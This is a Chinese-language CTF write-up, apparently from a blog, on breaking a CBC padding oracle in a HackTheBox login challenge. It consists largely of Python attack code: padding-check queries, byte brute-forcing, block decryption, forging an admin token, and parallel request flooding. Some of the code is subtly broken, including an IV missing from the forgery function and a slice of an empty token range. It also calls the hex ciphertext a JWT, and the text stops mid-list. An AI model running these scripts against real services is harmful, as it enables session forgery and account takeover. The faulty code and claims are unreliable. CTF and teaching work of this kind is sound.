当前位置：首页 > news >正文

从一次CTF实战出发：我是如何用Python3脚本一步步破解CBC模式的Padding Oracle漏洞的

news 2026/6/13 17:43:26

从一次CTF实战出发：我是如何用Python3脚本一步步破解CBC模式的Padding Oracle漏洞的

在去年的HackTheBox秋季赛中，我遇到了一个令人难忘的挑战——一个看似简单的Web应用登录页面，却隐藏着CBC模式加密的致命漏洞。当我最终用自己编写的Python脚本成功伪造管理员令牌时，那种成就感至今记忆犹新。本文将完整还原这次实战经历，带你亲历从漏洞发现到Exploit开发的全过程。

1. 初识目标：发现异常响应模式

目标系统是一个使用JWT令牌进行身份验证的Web应用，观察到的关键现象：

import requests # 正常请求 resp = requests.get("https://target.com/auth?token=7B216A634951170FF851D6CC68FC9537") print(resp.status_code) # 返回200 # 篡改最后一个字节 resp = requests.get("https://target.com/auth?token=7B216A634951170FF851D6CC68FC9538") print(resp.status_code) # 返回500

关键发现：

修改token的特定字节会导致服务器返回500错误
某些修改会保持200状态码但返回"Invalid Padding"错误
响应时间在解密失败时明显更短（约少300ms）

这典型符合Padding Oracle的特征——服务器通过不同响应暴露出padding校验结果。

2. 理解攻击原理：CBC解密与Padding机制

要利用这个漏洞，必须深入理解CBC模式的解密过程：

解密流程图示： [密文块] → AES解密 → [中间值] ⊕ [前一个密文块/IV] → [明文块]

PKCS#7填充规则示例：

明文"ABC"（3字节）在16字节块中需要填充13个0x0D
完整块：'A''B''C''\x0D''\x0D'...（共13个'\x0D'）

攻击者可以利用的是：

能够控制IV或前一个密文块
通过响应差异判断padding是否有效
逐步推导出中间值，最终计算出明文

3. 构建攻击脚本：分阶段实现

3.1 基础请求模块

首先封装检测padding有效性的核心功能：

class PaddingOracle: def __init__(self, target_url): self.url = target_url self.session = requests.Session() def check_padding(self, cipher_hex): resp = self.session.get(f"{self.url}?token={cipher_hex}") if resp.status_code == 500: return False # Padding错误 elif "Invalid Padding" in resp.text: return False return True # Padding正确

3.2 单字节爆破实现

关键的单字节爆破函数：

def brute_byte(self, block, known_bytes, pos): for byte in range(256): # 构造测试IV test_iv = bytearray(16) test_iv[pos] = byte for i, b in enumerate(known_bytes): test_iv[-(i+1)] = b ^ (len(known_bytes)+1) # 发送测试 if self.check_padding(test_iv.hex() + block.hex()): return byte raise ValueError("未找到有效字节")

3.3 完整解密流程

整合成完整的解密函数：

def decrypt_block(self, block, iv=None): known_bytes = bytearray() for pos in range(15, -1, -1): byte = self.brute_byte(block, known_bytes, pos) known_bytes.insert(0, byte ^ (16-pos)) # 与IV异或得到明文 plain = bytes([iv[i] ^ known_bytes[i] for i in range(16)]) return plain

4. 实战中的坑与解决方案

在真实攻击过程中遇到了几个关键问题：

问题1：网络延迟导致误判

解决方案：增加重试机制和超时阈值判断

def check_padding(self, cipher_hex, retry=3): for _ in range(retry): try: resp = self.session.get(..., timeout=2) return self._analyze_response(resp) except: continue

问题2：多块密文处理

需要前一块密文作为下一块的"IV"

def decrypt_all(self, ciphertext): blocks = [ciphertext[i:i+16] for i in range(0, len(ciphertext), 16)] plaintext = b"" for i in range(len(blocks)-1, 0, -1): plaintext = self.decrypt_block(blocks[i], blocks[i-1]) + plaintext return plaintext

问题3：非标准填充检测

某些实现可能不严格遵循PKCS#7
解决方案：添加多种padding验证模式

5. 从解密到伪造：实现任意密文生成

获得中间值后，我们可以伪造任意明文：

def encrypt_block(self, desired_plaintext, original_cipher_block): # 计算需要的IV intermediate = self.decrypt_block(original_cipher_block) forged_iv = bytes([intermediate[i] ^ desired_plaintext[i] for i in range(16)]) return forged_iv + original_cipher_block

实战中利用这个功能伪造管理员令牌：

# 原始用户token user_token = bytes.fromhex("7B216A634951170FF851D6CC68FC9537") # 构造admin令牌 admin_plain = b"user=admin\x06\x06\x06\x06\x06\x06" forged_token = oracle.encrypt_block(admin_plain, user_token[16:32])

6. 性能优化与工程实践

初始版本的爆破需要256×16=4096次请求，通过以下优化降到约1500次：

优化1：并行请求

from concurrent.futures import ThreadPoolExecutor def brute_byte_parallel(self, block, known_bytes, pos): def test_byte(byte): test_iv = ... return byte if self.check_padding(...) else None with ThreadPoolExecutor(50) as executor: for result in executor.map(test_byte, range(256)): if result is not None: return result

优化2：缓存已知中间值